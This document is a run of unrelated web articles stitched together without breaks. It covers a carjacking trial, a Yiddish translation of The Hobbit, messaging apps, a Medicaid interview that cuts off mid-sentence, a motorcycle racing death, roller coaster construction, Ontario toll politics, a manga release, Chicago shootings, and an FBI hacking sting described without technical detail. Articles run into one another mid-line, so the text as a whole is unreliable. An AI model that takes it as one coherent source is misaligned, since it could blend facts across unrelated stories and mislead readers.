"Right before the crash I had smashed his head into the window, grabbed onto the steering wheel with both hands and just pulled," she said.
Two years later, Sam said she still has nightmares and panic attacks from the incident. She's hoping the court process, which resulted in a guilty verdict in September, will help her heal.
"I remember every single second," she said.
After the truck flipped, Biwer went on to steal a red SUV belonging to a couple who stopped to help. The couple's newborn baby was in the backseat, and dashboard video taken form the scene shows the frantic father trying to chase the vehicle down.
Sam described the scene as "complete and utter madness." Fortunately, the couple's baby was later found unharmed.
Biwer, who had been out of jail for less than two weeks, was ultimately convicted on seven counts, including robbery, assault and a firearm offence.
His defence has asked for a prison term of six years, but Crown requested a sentence of 10 years, less time served.
"The offences were extremely serious, and they were also violent. As a result the Crown sought a significant federal jail sentence," prosecutor Winston Sayson said.
Biwer's defence said he is remorseful, however. The court heard about Biwer's drug addiction, and how he was already smoking pot and drinking at the age of 12. By 14, he was using hard drugs.
His sentence is expected later in January.
With a report from CTV Vancouver's Michele Brunoro91-Year-Old Yiddish Rock Star A visit with Arkady Gendler, the last link to the living roots of Yiddish culture, on the eve of a new album Gilded The literary journal Di Goldene Keyt nurtured Yiddish writers in Israel and the Diaspora—and made an author in Baltimore dream Golden Link The epic life of Yiddish poet Avrom Sutzkever, who died last week at 96
For one of his first translation projects after his retirement, Barry Goldstein, a former computer programmer, found an empty table at his local Starbucks in Boston and settled in to work on the “Treebeard” chapter from J.R.R. Tolkien’s Lord of the Rings trilogy. But Goldstein soon realized that he needed something more sizable to occupy his time: 95,022 words later, he had translated the entire text of The Hobbit, the prequel to the Ring series, into Yiddish.
Only a little more than 130 copies of Goldstein’s translation have sold since it was released in December. But as Goldstein tells it, he always knew Der Hobit wouldn’t be a best-seller, and the sales were still double his original two-figure estimate.
In the heyday of Yiddish literature, the translation of literary classics into the mamaloshen was entirely commonplace. The prewar Yiddish readership is estimated at about 10 million—many of whom spoke Yiddish as their first language and had a rabid appetite for the classics of world literature. Some of the best-selling Yiddish adventure stories included gems like Robert Louis Stevenson’s Treasure Island, Jack London’s Klondike series, and Mark Twain’s The Adventures of Tom Sawyer. “There was a sense that we had to catch Yiddish up with the world and modernism and that any important literary phenomenon that was taking place in the larger world had to be conveyed to the Yiddish-speaking world,” said Miriam Udel, a professor of Yiddish at Emory University. “The cultural ambitions of Ashkenazic Jewry were on the grandest scale, so they didn’t think of themselves as having a small or minority literature or a cultural complex.”
Today most of the world’s more than 1 million Yiddish speakers are used to doing much of their reading in some other language, primarily Hebrew, English, Russian, or French. Readers in ultra-Orthodox communities, who make up a large plurality of those whose primary language is Yiddish, are restricted in what they can read by religious customs and edicts. As the publication of Der Hobit shows though, the quirky, personal interests of translators ensure that popular books still make their way into Yiddish, where they can be read by anyone who knows the language.
For Goldstein, the act of translation was not only a gift to his mother tongue, but also surprisingly relaxing. “After years of obsessing about complicated computer programs, I found reproducing the Trolls’ grobe diburim, or rhyming poems, to be challenging enough, but much less stressful than wrestling with a recalcitrant computer,” he explained. “It drew me right in.”
While Goldstein grew up in a Yiddish-speaking home—his father’s roots were in Lithuania, and his mother was born in Kaminets-Podolsk—he never took to the language as a child. In fact, he vividly remembers the time that he escaped through a window in order to cut class at the Jewish school where he learned Yiddish. Years later though, he started taking Yiddish classes and soon found himself as J.R.R. Tolkien’s foremost and only Yiddish-language translator.
For two to three hours a day, sometimes as many as six days a week, he contemplated how to accurately render Tolkien’s fantastical and heavily Celtic-inflected, Middle-earth dialects into a language rich with its own parables and folk traditions. “The day-by-day process was just page by page,” Goldstein said. He added that he had made about six or seven edits of the text, while also noting that there haven’t been too many people who have asked him much about his process as a translator.
As usual with translation, the fun and the heartbreak are in the details: Rivendell got a phonetic spelling, although it could have been translated in a more conceptually accurate and suggestive way that would have carried the meaning rather the sound of the name. An intricate nest on top of a mountain crag became a hoych nest. Gandalf began to say laden to express his distress, which seems about right for the haimische wizard with the long beard.
But when Bilbo Baggins played with the meaning of his name in a long discussion with the dragon Smaug, Goldstein was forced to admit defeat. “There’s no way to do it, there’s just no way to translate it,” Goldstein said. “So, I put in a footnote and said, ‘This is a pun and I give up.’ ”
Goldstein is not the only one translating well-read books into a little-read language for fun. Other Yiddish hobbyists of late have ensured that classics like Winnie the Pooh and Curious George can take their rightful place in the Yiddish literary canon alongside The Adventures of Mottel, by Sholem Aleichem and Tales of Mendele the Book Peddler, by Mendele Mocher Sforim, i.e., S.Y. Abramovitsh. As Tablet magazine contributor Zackary Sholem Berger, who translated Dr. Seuss favorites like The Cat in the Hat and One Fish Two Fish, Red Fish Blue Fish, agreed, “It’s about the challenge and interest of translation.”
The outsize number of Yiddish-language enthusiasts who share an interest in Goldstein’s labor of love has even influenced an alternative approach to translation itself. Ten years ago, an international panel of distinguished scholars chose titles for the New Yiddish Library series at Yale University Press and commissioned a run of high-quality translations. According to Aaron Lansky, founder of the Yiddish Book Center, though, the scholars soon discovered that almost all of the members of the editorial board were trained by the same handful of people and were therefore familiar with the same few hundred Yiddish-language titles.
“Very few were familiar with the rest of the 40,000 titles of modern Yiddish literature, not to mention countless stories and essays published in more than 3,000 discrete Yiddish newspapers and magazines,” said Lansky. As a result, the Yiddish Book Center has begun soliciting proposals from translators themselves in what Lansky calls “a more Wiki approach.” The new, bottom-up method means that the predilections of Yiddish scholars no longer determine which titles are commissioned for translation. Instead, it is Yiddish-language enthusiasts who choose which books get translated, by translating their favorite books.
In the meanwhile, Goldstein remains committed to ensuring that his own favorites make their way into Yiddish. Upon finishing Der Hobit, he celebrated with a few drinks and wondered whether he had preserved Tolkien’s unique style. Then he realized that he missed the work. “It became strangely addictive,” Goldstein said. At first he decided to attempt to translate Charles Dickens’ Pickwick Papers, which also seems peculiarly suited to Yiddish, but then he missed his old friends. “I’ll likely put that aside for a while,” he admitted, “and try The Fellowship of the Ring.”
***
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Natalie Schachar is an editorial intern at Tablet. A recent graduate of Barnard College, she has written for the Times of Israel, The Atlantic, The Argentina Independent and Lilith Magazine.Prior to the arrival of Android and iOS,Texting through SMS was the most used mode of communication but the so called App revolution completely swept that trend and nowadays Messaging was done though Apps which has very rich UI and texting experience.
The best part is,Most of these Android Messaging App are available without any cost and having a Mobile internet activated or over Wifi,you can always stay connected with your beloved ones.
This list explores the 7 Best Android Messaging App that you can get it and use it for FREE.
The following Apps are not in particular order and this list didn’t ranke individual apps.
Whatsapp
Whatsapp is one of the forerunner of Instant Messaging Platform.It was first introduced for iPhone in 2009 by two Yahoo veterans.Very recently,WhatsApp CEO Jan Koum stated that WhatsApp has more than 200 million monthly active users and processes 8 billion inbound and 12 billion outbound messages daily.
Whats app is a multiplatform application and its currently available for all major mobile platforms. Whatsapp is free to download and can use it for 1 year without any subscription charges,After the free trial it costs $0.99 per year.
Currently the App rated averagely at 4.6 out of 5 and has nearly 4 million votes on Google Play store.
[gplay link=”https://play.google.com/store/apps/details?id=com.whatsapp&hl=en”] Whatsapp [/gplay]
LINE
A very popular Messaging App in Asian countries which was Launched by a Japanese Subsidy.Plenty of new features were added in this app and considered as a long term threat to Whatsapp.
Some highlighted features are Lifetime Free Messages and Voice Calls,Wallpaper customization and Stickers to represent every moments of your life.Line is also available for PC users hence making it as one of the unique service which is available for all kind of platform and devices.
Its also evolving as a Mobile Social Media Channel.It has feature like Timeline,where users can update their status and post Photos,Videos etc.
Its recent official report states that,Line App acquired more then 75 million users from 230 countries.It also tops the Free App list in few countries like Paraguay,Spain,Argentia etc.
[gplay link=”https://play.google.com/store/apps/details?id=jp.naver.line.android&feature=apps_topselling_free”] LINE [/gplay](Image by courtesy of Sam Dickman) Details DMCA
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My guest today is Harvard Medical School researcher and third year medical student, Samuel L. Dickman. Welcome to OpEdNews, Sam.
SD: Thank you, Joan.
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JB: You were involved in a study by researchers at Harvard Medical School and the City University of New York [CUNY] which was just released. What can you tell us about it?
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SD: We wanted to look at the health and financial impacts of persistently high uninsurance in the US. Most people know that the Affordable Care Act of 2010 -- also known as ObamaCare -- was designed to decrease the number of uninsured, and it was going to do that in two ways: first, by setting up insurance "exchanges" where people could comparison shop for private health plans and get subsidies to help pay the premiums (as long as their incomes were within a certain bracket.) The other way was expanding Medicaid eligibility, which previously covered a very limited subset of the poor. The ACA said that states would have to expand Medicaid up to 138% of the federal poverty level, and that expansion would be paid for almost entirely by the federal government.
When the Supreme Court upheld most of the Affordable Care Act in June 2012, it ruled that states could decide to reject the Medicaid expansion and the federal funds that come with it. As of the end of 2013, 25 states had decided not to expand Medicaid. That decision will leave millions of Americans uninsured -- people who would have gotten insurance if their state hadn't rejected the Medicaid expansion.
JB: That's half of our states! What does it mean exactly? What are the numbers behind the ramifications of that decision?
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SD: We studied the health effects for people who would have gotten insurance in those 25 states. We estimated how many people were likely to stay uninsured, and we found that almost 8 million people would have gotten insurance if those states hadn't opted out. Then we analyzed data on the benefits of health insurance from previous studies, and applied those figures to the millions who will remain uninsured.
What we found is that these states' resistance to expanding Medicaid will have serious |
BonChon franchises—there are locations on both US coasts and in
Singapore, Thailand, Indonesia, the Philippines, and Korea—vary from
spot to spot, and An says his new restaurant will have an expanded menu
of small plates. But the focus will remain where it belongs: on the
chicken. In addition, the new BonChon will have 10 draft beers
including some Asian brews. “Our hours will be essentially the same as
Centreville but extended in the evenings,” says An.Image copyright Isle of man TT Image caption Karl Harris made his debut at the Isle of Man TT races in 2012 when he finishing 21st in the Superbike race and 28th in the Superstock race
A second competitor has died while riding in the 2014 TT races on the Isle of Man, organisers have confirmed.
Three-time British Supersport champion, Karl Harris, was killed during the Superstock race on Tuesday afternoon.
The 34-year-old from Sheffield crashed in an area known as Joey's Corner, during the second lap of the 37.5 mile (60 km) Mountain circuit.
Clerk of the TT course Gary Thompson said: "Karl was one of the great characters in the race paddock."
He added: "His infectious enthusiasm and sense of humour lit up many race meetings - he was a hugely talented racer and will be sorely missed."
Mr Harris is the second rider to die in as many days at this year's event, following the death of Bob Price in Monday's Supersport race.
Organisers said the coroner of inquests had been informed and an investigation was under way.
Mr Harris made his debut at the Isle of Man event in 2012, finishing 21st in the Superbike race and 28th in the Superstock race, lapping in excess of 121 mph.
A spokesman for organisers ACU said: "The ACU wishes to pass on their deepest sympathy to Karl's family and friends."We’re in the home stretch ladies in gentlemen, we really are. The Joker’s construction process has been accelerated dramatically, and there are only one or two elements left to install on the entire ride. As the physical construction becomes closer and closer to being finished, it’s hard not to begin anticipating what is sure to be one of the best in our lovely state, The Joker.
– Recently our images have popped up on other sites and forums, awesome that our coverage spreads, not so awesome that no one mentioned where they got the images from. We are totally fine with our audience using our images, BUT ONLY IF credit is given to californiacoasterkings.com. Thank you! –
First off, all of the track is on the site, 100 percent of it. The pieces that have yet to be installed are in the same spot in the parking lot.
We say this every time, but boy from the parking lot it’s hard to tell this beauty isn’t open yet.
Nearing the park, the drop is a welcome but familiar sight. That 78 degree angle of descent in addition to the lateral banking, sure to be a good start.
The lift chain has finally been installed, as seen if you look closely in this photo.
The Step Up Under Flip is looking as insane as ever. We’re still very curious to see how this actually feels, it’s sure to offer some unique forces.
The long-since-completed breaking wave turn is more impressive the more angles we can find of it.
The Zero-G-Stall and following Over-banked Turn will be a great progression. One entirely inverts you whilst you float, the other punishes you back into your seat in a sweeping motion.
Moving over to the station area. The ring toss game has been removed and the building has been expanded on. From the looks of it, it will be extra queue space. Seeing as it looks to be enclosed, some theming would be great.
Many of the plywood panels near the entrance are being replaced, possibly to be painted.
The brake run has had all of the necessary electrical work done, and looks mechanically ready to go.
Speaking of the brake run, well would you look at that. There’s a train sitting on it.
Here’s a better look at the detailing on the side of the cars, complete with “Ha, Ha, Ha”s and purple hair.
Unfortunately the front car doesn’t have its cover on it, so hopefully they will reveal that next week during the construction tour.
As long as we’re at the brake run we’ll work backwards. The ascent into the break run has been installed which should provide one last pop of air.
As far as airtime goes, the hill leading up to the brake run has been installed also. This element included, the only purpose straight track features in this layout is to invert you, or eject you into the restraint.
Between this hill and the about half way through the over banked turn following the Asian Camel Back is the gap of track. This leaves only the Zero G Roll, and last over banked sweeping turn to be placed. As long as we mentioned the Asian Camel Back, boy oh boy is it something. This unique element is going to have no intention of leaving you in your seat.
The elevation difference between the two hills is pretty significant, and both the angle of ascent and descent going into and out of the element are much steeper than you would think.
As mentioned, after the Asian Camel Back, the over banked turn/dive is about halfway complete, which you can see here if you look closely.
The structure for the Zero G Roll, the last remaining major element has been partially completed and some steel cross beams have been placed.
That’s pretty much it for this update. We will be back next week for the backstage Joker construction tour, so make sure to look out for that coverage. Thank you so much for checking this out, we really appreciate it.
Check out the following new update(s) from this weekend (more to be added!):
Leave a comment with your thoughts below, and make sure to follow us on our social media for exclusive coverage! Facebook–Twitter–InstagramPoliticians are like pretzels — easily twisted out of shape. Until they snap.
Today’s anti-toll, anti-tax NDP is more transactional than environmental. But opposing road tolls won’t make inroads for them in downtown Toronto, Martin Regg Cohn writes. ( Nathan Denette / THE CANADIAN PRESS )
Ontario’s Progressive Conservatives are twisting themselves into cloverleafs over road tolls. But they’re not the only politicians clutching fig leafs. The New Democratic Party is also twisting and turning in ideological circles over road tolls. And this time, the road kill is one of their own. Paul Ferreira, a lifelong New Democrat, one-time MPP, and former chief of staff to two of Ontario’s NDP leaders, has quit the party.
Article Continued Below
Many New Democrats responded by telling him they’d “already taken a similar decision,” Ferreira told me, for the same reason: The party is being “fundamentally dishonest.” His departure is a loss for the NDP. And a sign that, in his words, the party has “lost its way” by erecting “reactionary” roadblocks against highway tolls. For Ferreira, the party’s decision to get in bed with the anti-toll Tories last week was the “last straw.” Progressive Conservative Leader Patrick Brown led opposition in the legislature to a plan by Toronto Mayor John Tory — himself a former leader of the PCs from 2004-09 — seeking toonie tolls on the city-owned Don Valley Parkway and Gardiner Expressway. Never mind that the plan emanates from city hall, Brown is trying to pin the blame on Premier Kathleen Wynne. The Liberal government’s position is that it will allow the local, elected level of government to decide its fate — a position Brown once held, but has since set aside. Bizarrely, Brown now insists he will overturn any provincial authorization should he ever become premier, tying Toronto in knots.
And so the PCs are leading with U-turns. And the NDP is following. “From a strategic point of view I was gobsmacked that we would support that motion,” Ferreira said in our interview.
Article Continued Below
In the legislature, the party’s position was articulated by Gilles Bisson — an MPP from Timmins attacking tolls in Toronto on behalf of his northern constituents: “First off, I want to say that New Democrats will be voting in favour of this (PC) motion, because we, too, believe that citizens back home, our friends and our neighbours, are being squeezed.” Ferreira was incredulous. “The guy from Timmins is the guy who speaks out on a Toronto issue?” When Ferreira dared to speak of tolls in the 2011 election, NDP Leader Andrea Horwath muzzled him. His mistake had been to give an honest answer when the issue came up during a radio debate on Toronto issues: “I think we owe it to voters, to residents, to citizens to have mature conversations on topics like that. Should there be road tolls?” The next day, Horwath threw him under the bus — and rallied to the defence of the almighty car: “Definitely no tolls!” she told reporters on the campaign trail. “I was quite surprised to find that this is something Paul said during a debate.... If he’s trying to do that then it will stop at my desk.” Canvassing for votes that evening, Ferreira could hear Horwath’s voice wafting from television sets in an apartment hallway. A voter opening the door to Ferreira recognized him as the candidate who had just been repudiated by his leader, and gave him a quizzical look. Done in by his own party, he stuck with them a while longer. Now he’s done with New Democrats for good. What bothers Ferreira is that he long ago understood the need for tolls to make motorists pay their fair share. And was made to pay price for being ahead of the curve. All these years later, city hall is coming round to his position — even NDP councillors are seemingly, grudgingly, open to tolls — but not Ontario New Democrats. Coveting votes in the suburbs, tolls are too toxic — for Horwath as they are for Brown and even Wynne. The NDP-PC tag team rallied against Wynne as she considered new tolls during her first minority government. When the premier later took a timid first step with optional high-occupancy toll lanes, Horwath disparaged them as “Lexus lanes” (ignoring studies that show working class motorists also use them to bypass traffic jams if they’re late for a job). Today’s anti-toll, anti-tax NDP is more transactional than environmental. But opposing road tolls won’t make inroads for them in downtown Toronto. Ferreira says the party is wrong both ideologically and strategically. By betting on the 905 over the 416, the NDP is taking downtown voters for granted while chasing a suburban dream — riding the auto boom — that will only twist it out of shape, he warns. “The party right now is at a crossroads.” Or perhaps the NDP has come to a cloverleaf — which is, after all, an interchange designed by road engineers to avoid left-hand-turns. Martin Regg Cohn’s political column appears Tuesday, Thursday and Saturday. mcohn@thestar.ca, Twitter: @reggcohn
Read more about:If we were going by the original publication, this is the end of the Ring of Judgment. In fact, I’d go as far as call the this the proper end, and the next chapter the ‘epilogue.’
However, please note that there are finally spoilers for Trails in the Sky SC in this chapter.
(Looks like you all finally get to meet Guan’s favorite Trails/Kiseki character!)
These come from the scanslation work that I did with Eidenyaku, and still maintain Shram’s translations- despite some re-edits and tweaks here and there to make the English flow a little better in the text. The fonts are also much more clear and readable, in my opinion. This also marks the last of the chapters that I did under the Eidenyaku name. The epilogue will be a new chapter that I hadn’t scanslated and released before now.
These scans came from the original run in Dengeki Maoh, so you will see that the paper looks off in the images. The quality of the paper in the magazine was, as usual, lower than the paper that was used in the published book later. You will see this difference when the epilogue is finally released.
If you haven’t read the previous chapters, you can find them here:
[Translation Tuesday] The Legend of Heroes Zero no Kiseki Pre-Story: The Ring of Judgment – Prologue
[Translation Tuesday] The Legend of Heroes Zero no Kiseki Pre-Story: The Ring of Judgment – Chapter 01
[Translation Tuesday] The Legend of Heroes Zero no Kiseki Pre-Story: The Ring of Judgment – Chapter 02
[Translation Tuesday] The Legend of Heroes Zero no Kiseki Pre-Story: The Ring of Judgment – Chapter 03
Though it may be straight forward for most, please remember that this is a Japanese manga and it hasn’t been flipped. As a result, remember to read from right to left!
Translation: Shram
Editing / Scans / Cleanup: omgfloofy
Proofreading: Gu4n
You can download the.zip file here:
The Legend of Heroes Zero no Kiseki Prestory Ring of Judgment – Chp 4 35MB Download
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RelatedFirst LEGO Batman Movie images and stay tuned for the trailer
Though Ben Affleck will be making his debut as the Dark Knight this Friday in Batman v Superman: Dawn of Justice, a whole other breed of the hero is set to debut in theaters next year with The LEGO Batman Movie. Warner Bros. has released the first official LEGO Batman Movie images (via USA Today) and revealed that the first trailer for the film will be released this Wednesday, March 23. Check out the LEGO Batman Movie images below featuring the LEGO Batcave!
Will Arnett reprises his role of Batman from The Lego Movie alongside Michael Cera as Robin the boy wonder, Rosario Dawson as Batgirl, Ralph Fiennes as Alfred Pennyworth, Mariah Carey as Gotham’s mayor and Zach Galifianakis as The Joker.
“The Batcave is even better than we remembered it, it’s awesome” Arnett tells the outlet. “But I also love getting into the ho-hum day-to-day of being Batman and what it’s like to fight crime each day. Like the idea of Batman oversleeping his alarm clock makes me laugh. It really does humanize him.”
“We thought if we can tell a well-rounded, funny story that’s action-packed, we can build a big movie around this character,” says director Chris McKay. “This is the movie we would want to see.”
McKay goes on to say that the cameos in the film will be around every corner.
“We’re nothing but exhaustive about the cameos and other characters that try to enter Batman’s life.”
McKay will direct The LEGO Batman Movie from a script by Abraham Lincoln: Vampire Hunter creator Seth Grahame-Smith (who will direct The Flash for Warner Bros. Pictures). Phil Lord and Chris Miller, who directed The LEGO Movie, will produce the film along with Dan Lin.
The LEGO Batman Movie will open in theaters on February 10, 2017.CHICAGO (STMW) — Two people were killed and at least 26 others wounded in shootings across Chicago since Friday afternoon.
The most recent fatal shooting happened Saturday night in the South Side Park Manor neighborhood.
A 22-year-old man was sitting in a parked vehicle about 8:40 p.m. in the 400 block of East 72nd Street when two people walked up and one of them shot him multiple times in the side, police said.
An acquaintance drove him to Jackson Park Hospital and Medical Center, where he later died, police said. The Cook County medical examiner’s office confirmed the death but did not release his identity.
Detectives are questioning a person of interest in the weekend’s other homicide, which happened inside the 39-year-old victim’s Morgan Park neighborhood home on the Far South Side late Friday.
David E. Finney got into an argument with another person–only described as a male–who then pulled out a handgun and shot him in the chest about 10:35 p.m. at the home in the 11300 block of South Green, authorities said.
Finney was taken to Advocate Christ Medical Center in Oak Lawn, where he later died. Police called the shooting “domestic-related” and said a person of interest was being questioned Saturday afternoon.
The most recent nonfatal shooting happened early Monday in the West Pullman neighborhood on the Far South Side.
Two men, ages 17 and 20, were parked in a vehicle in the 12500 block of South Yale about 2:20 a.m. when two people got out of a dark-colored SUV and fired shots in their direction, police said. The shooters jumped back into the SUV, which sped away eastbound.
The 17-year-old was shot in the buttocks and the 20-year-old was shot in the leg and abdomen, police said. They drove themselves to Roseland Community Hospital, where both of their conditions had stabilized.
Early Sunday, four people were shot in a 35-minute spate of gunfire on the South and West sides.
At 2:35 a.m., a 30-year-old man was shot in the back in the Bridgeport neighborhood.
He was driving in the 3300 block of South Lituanica when shots were fired from a dark-colored car, police said. He drove himself to University of Chicago Medical Center, where he was listed in good condition.
About five minutes later, two men were shot in the Austin neighborhood on the West Side.
The shooting happened about 2:40 a.m., as the men–ages 21 and 22–were on a porch in the 5500 block of West Gladys when they heard gunshots and felt pain, police said.
The younger man was listed in critical condition with gunshot wounds to the buttocks and leg and the older man’s condition was stabilized with wounds to the wrist and ankle, police said. Both were treated at Stroger Hospital.
About 3:10 a.m., a 34-year-old man was shot in the Chatham neighborhood on the South Side.
Officers discovered the man–who has documented gang ties–lying in the street in the 8700 block of South State with gunshot wounds to his abdomen and leg. He was taken to Christ Medical Center, where his condition had stabilized, police said.
At least 20 other people have been shot between 3 p.m. Friday and early Monday.
(Source: Sun-Times Media Wire © Chicago Sun-Times 2015. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)President Donald Trump on Tuesday evening called for a closer look into a former intelligence committee watchdog's claims to Fox News that Hillary Clinton's campaign had a "strategic coordination" with the State Department to play down the presence of classified information on her private email server.
"Charles McCullough, the respected [former] Intel Comm Inspector General, said public was misled on Crooked Hillary Emails," Trump tweeted. "'Emails endangered National Security.' Why aren’t our deep State authorities looking at this? Rigged & corrupt?"
In an exclusive interview with Fox News Monday, former Intelligence Community Inspector General Charles McCullough III said he suffered "personal blowback" over his pursuit of the email investigation. McCullough claimed the Clinton campaign put out word that he would be fired if the Democratic nominee won last year's presidential election.
CLINTON CAMPAIGN PLANNED TO FIRE ME OVER EMAIL PROBE, OBAMA INTEL WATCHDOG SAYS
"I’m well aware there was strategic coordination between the [Clinton] campaign, the State Department, certain officials in the State Department, certain law firms in [Washington D.C.] and people on Capitol Hill and I think that bore itself out in the Podesta emails," McCullough told Fox News' "Tucker Carlson Tonight."
In January 2016, McCullough told Republican leadership on the Senate intelligence and foreign affairs committees that emails beyond the "Top Secret" level passed through Clinton's unsecured personal server.
"The [intelligence] agencies were quite unhappy about what was going on. They were not happy that their information was not protected the way it should have been," McCullough told Fox News' Tucker Carlson. "... When we heard about this to begin with, that there was an unsecured server, frankly, we looked at each other and said, 'Who does that? What rules even apply to that?'"
McCullough has insisted that he was merely attempting to do his job.
"As an IG, you’re not a D[emocrat], you’re not an R[epublican], you’re an I. You’re an IG, those are the letters that matter for you," he said. "And so, obviously what they resorted to was 'OK, this guy’s just a pawn of the right, he’s a shill of the right and attack the messenger,' and that’s what happened."
Fox News' Catherine Herridge, Pamela K. Browne and Cyd Upson contributed to this report.The FBI snared scores of people after taking over a child-pornography bulletin board and conducting a sting and computer-hacking operation. But there is a growing social and legal controversy over the bureau’s tactics and the impact on internet privacy.
For two weeks in the spring of 2015, the FBI was one of the largest purveyors of child pornography on the internet.
After arresting the North Carolina administrator of The Playpen, a “dark web” child-pornography internet bulletin board, agents seized the site’s server and moved it to an FBI warehouse in Virginia.
They then initiated “Operation Pacifier,” a sting and computer-hacking operation of unparalleled scope that has thus far led to criminal charges against 186 people, including at least five in Washington state.
The investigation has sparked a growing social and legal controversy over the FBI’s tactics and the impact on internet privacy. Some critics have compared the sting to the notorious Operation Fast and Furious, in which the Bureau of Alcohol, Tobacco, Firearms and Explosives allowed the illegal sales of thousands of guns to drug smugglers, who later used them in crimes.
Defense attorneys and some legal scholars suggest the FBI committed more serious crimes than those they’ve arrested — distributing pornography, compared with viewing or receiving it.
Moreover, the FBI’s refusal to discuss Operation Pacifier and reveal exactly how it was conducted — even in court — has threatened some of the resulting criminal prosecutions. Last month, a federal judge in Tacoma suppressed the evidence obtained against a Vancouver, Wash., school district employee indicted in July 2015 on a charge of receiving child pornography because the FBI refused to reveal how it was gathered.
Similar motions are pending in other prosecutions in Washington and elsewhere around the country.
During the two weeks the FBI operated The Playpen, the bureau says visitors to the site accessed, posted or traded at least 48,000 images, 200 videos and 13,000 links to child pornography. At the same time, agents deployed a secret “Network Investigative Technique,” or NIT, to invade their computers, gather their personal information and send it back to the FBI.
According to court documents, between Feb. 20 and March 4, 2015, as many as 100,000 people logged onto the site, which was accessible only by using the anonymous “Tor” browser, which encrypts and routes internet traffic through thousands of other computers to hide the identity of a user.
Tor, which is used for private communications by government officials, lawyers, journalists, judges and others, was thought to be virtually uncrackable until news of the FBI’s operation became public.
Mozilla, the company that offers the Tor browser, asked the FBI to reveal its methods so it can be patched, warning in a court motion that, “absent great care, the security of millions of individuals using Mozilla’s Firefox internet browser could be put at risk” by its disclosure. The Tacoma judge denied the request.
The FBI declined to be interviewed for this story. The Department of Justice (DOJ) referred The Seattle Times to court filings by prosecutors in the case.
In those pleadings, the government has defended the operation as the only way to pierce the anonymity of the so-called “dark web” and get at the criminals who dwell there. Such websites cannot be found by Google or by typing in a web address and are typically operated on the Tor network.
“The United States, the FBI, did not create this website,” said Assistant U.S. Attorney Keith Becker, a trial attorney with the DOJ’s Child Exploitation and Obscenity Section, at a Tacoma court hearing in January.
“It was created by its users, and administrators, and existed and substantially distributed child pornography long before the government took it over in an effort to actually identity its criminal users.”
Defense attorneys, however, alleged in filings last week that FBI agents actually improved The Playpen site during the two weeks they had control, making it faster and more accessible. Visitation of The Playpen while under FBI control jumped from 11,000 to 50,000 people a week.
“This is easily the largest domestic use of hacking by law enforcement in U.S. history,” said Mark Rumold, a senior staff attorney at the Electronic Frontier Foundation, a digital freedom and legal services nonprofit in San Francisco. “The problem is that there just aren’t a lot of rules on how they go about it.”
“I will not be surprised at all if we wind up before the U.S. Supreme Court,” he said. Critics also accuse the FBI of committing crimes more serious than it was investigating — distribution of pornography versus receiving it — and say the operation flies in the face of the Justice Department’s pronouncement that a child is re-victimized every time a pornographic photo is viewed or distributed.
Chris Soghoian, the principal technologist and a senior policy analyst with the American Civil Liberty Union’s Speech, Privacy, and Technology Project, said The Playpen investigation bears striking similarities to Operation Fast and Furious.
“Except here, it’s child porn,” Soghoian said.
Soghoian said the bureau’s refusal to turn over the NIT to allow the Tor vulnerability to be patched is inviting criminals to figure it out and use it themselves.
Last month, U.S. District Judge Robert Bryan in Tacoma threw out the evidence in one of the first “Operation Pacifier” prosecutions, involving a Vancouver school employee named Jay Michaud. The reason: The FBI has refused a court order to reveal to Michaud’s defense attorneys the nature of the Tor vulnerability or how the NIT works.
Michaud is accused of visiting the Playpen site multiple times during the two weeks it was under FBI control and viewing explicit photos of children being sexually abused. He faced up to 20 years in prison.
With the evidence tossed out, Michaud’s case likely will be dismissed. The government has appealed the judge’s decision.
A federal judge in Oklahoma reached the same conclusion in an Operation Pacifier case there, and similar motions are pending in dozens of other cases.
Bryan has also allowed two other Operation Pacifier defendants in Washington state to withdraw guilty pleas so they can challenge the government over the issue.
Michaud’s attorney, Colin Fieman, a Tacoma-based federal public defender, is leading a “national defense working group” that is tracking and coordinating challenges to Operation Pacifier cases.
He says the overarching legal issue in all of the cases is the FBI’s decision to search and hack thousands — maybe tens of thousands — of computers around the world based on a single warrant obtained by agents in Virginia.
With few exceptions, Fieman says, the federal rules of criminal procedure require a warrant to be issued in the same district as the search to prevent unconstitutional government fishing expeditions. That, contends Fieman and others, is what has happened with Operation Pacifier.
The case has shown that the “FBI cannot be trusted with broad hacking powers,” Fieman said.
“There is no question that the internet poses serious challenges to law enforcement,” Fieman said.
But he believes that in its desire to overcome those challenges — and fight the scourge of child pornography — the agency “has lost its moral compass and is willing to ignore the rules and even break the law to extend its reach.”
Michaud and other defendants have also sought to have their charges dismissed due to “outrageous government conduct” over the FBI decision to take it over and leave the site running.
“It is impossible to reconcile the Playpen operation with the government’s own view of the harm caused by the distribution of child pornography,” Fieman wrote in motion to dismiss another Washington case filed last week. “The DOJ routinely emphasizes … that possessing and circulating pornographic images re-victimizes the children depicted in them.”
Federal prosecutors routinely seek more stringent sentences for the operators of child-porn websites, Fieman wrote.
Judge Bryan rejected that argument in the Michaud case, stating during a January hearing that agents were “trying to catch the bad guys, so to speak.”
“Whether they did it right is a different thing,” he said. “But they didn’t do it wrong as to be grossly shocking or outrageous to violate the universal sense of justice” and warrant dismissing the charges.Visual Studio 2017 Development Templates for DNN (DotNetNuke) Tuesday, March 7, 2017
With the release of Visual Studio 2017 coming in a few short hours, I am proud to release the latest update for the Christoc’s DotNetNuke Extension Development Templates!
With this release I’ve updated my suite of DNN extension templates (modules and themes) to support Visual Studio 2017.
You can download these templates from Visual Studio 2017, by going to the Tools/Extensions menu. From there you can search the Online option for “DotNetNuke” choose the “DotNetNuke (DNN) Development Project Templates” option.
Other Download Options:
You can download them directly from the Visual Studio Marketplace.
You can download them from the DNN Store.
You can download them from GitHub
If you have any feedback, please visit the Project’s Github Repo
Here’s a quick video of how to install the templates in Visual Studio 2017
Here’s a quick video on how to make create your first DNN module. After creation the video walks you through the compilation and installation of that module into your DNN site.A new study says common colds that mothers experience during pregnancy may lead to their child’s development of asthma. Photo by Mike Fritz/PBS NewsHour.
Mothers-to-be can add one more thing to their list of worries. Scientists now say that exposure to the common cold during pregnancy may lead to an increased risk of asthma or allergies in children.
According to a new study published in the February issue of Annals of Allergy, Asthma and Immunology (ACAAI), the more common colds and viral infections a mother experiences during pregnancy, the greater her child’s risk may be to developing asthma or allergies.
These colds and infections shape the baby’s utero environment and can have lasting effects through childhood development.
“We know that allergy and asthma can develop in the womb since genetics play a factor in both diseases,” said ACAAI president and allergist Michael Foggs. “But this study sheds light about how a mother’s environment during pregnancy can begin affecting the child before birth.”
Allergist Mitch Grayson — deputy editor of ACAAI — says that likewise, utero exposure to allergens can increase the risk of childhood allergies to those substances.
